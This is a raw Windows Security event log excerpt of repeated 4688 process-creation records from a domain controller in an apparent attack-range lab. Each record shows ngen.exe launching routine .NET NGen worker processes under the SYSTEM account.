ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254954
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1158
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 520 -InterruptEvent 0 -NGENProcess 578 -Pipe 518 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:43 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254953
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3e4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 560 -InterruptEvent 0 -NGENProcess 570 -Pipe 458 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:43 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254952
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1238
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 558 -InterruptEvent 0 -NGENProcess 568 -Pipe 484 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:43 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254951
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe34
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 548 -InterruptEvent 0 -NGENProcess 544 -Pipe 514 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:44 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254969
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc48
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 544 -InterruptEvent 0 -NGENProcess 4a8 -Pipe 590 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:44 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254968
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1254
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5a4 -InterruptEvent 0 -NGENProcess 5a8 -Pipe 3e0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:44 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254967
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x130c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5a4 -InterruptEvent 0 -NGENProcess 404 -Pipe 48c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:44 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254966
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x368
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5a8 -InterruptEvent 0 -NGENProcess 560 -Pipe 598 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:44 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254965
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x240
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 480 -InterruptEvent 0 -NGENProcess 4a8 -Pipe 4f8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:44 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254964
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf9c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 464 -InterruptEvent 0 -NGENProcess 544 -Pipe 580 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:44 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254963
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13b0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4bc -InterruptEvent 0 -NGENProcess 48c -Pipe 444 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:44 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254962
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1120
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 598 -InterruptEvent 0 -NGENProcess 4a8 -Pipe 58c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:44 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254961
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc4c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 58c -InterruptEvent 0 -NGENProcess 598 -Pipe 54c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:44 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254960
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12a0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 54c -InterruptEvent 0 -NGENProcess 58c -Pipe 558 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:44 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254959
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe94
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 51c -InterruptEvent 0 -NGENProcess 58c -Pipe 520 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:45 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254970
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x139c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5a4 -InterruptEvent 0 -NGENProcess 570 -Pipe 5a8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:46 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254973
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfa8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5a4 -InterruptEvent 0 -NGENProcess 5a0 -Pipe 480 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:46 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254972
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa58
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4dc -InterruptEvent 0 -NGENProcess 464 -Pipe 4bc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:46 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254971
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
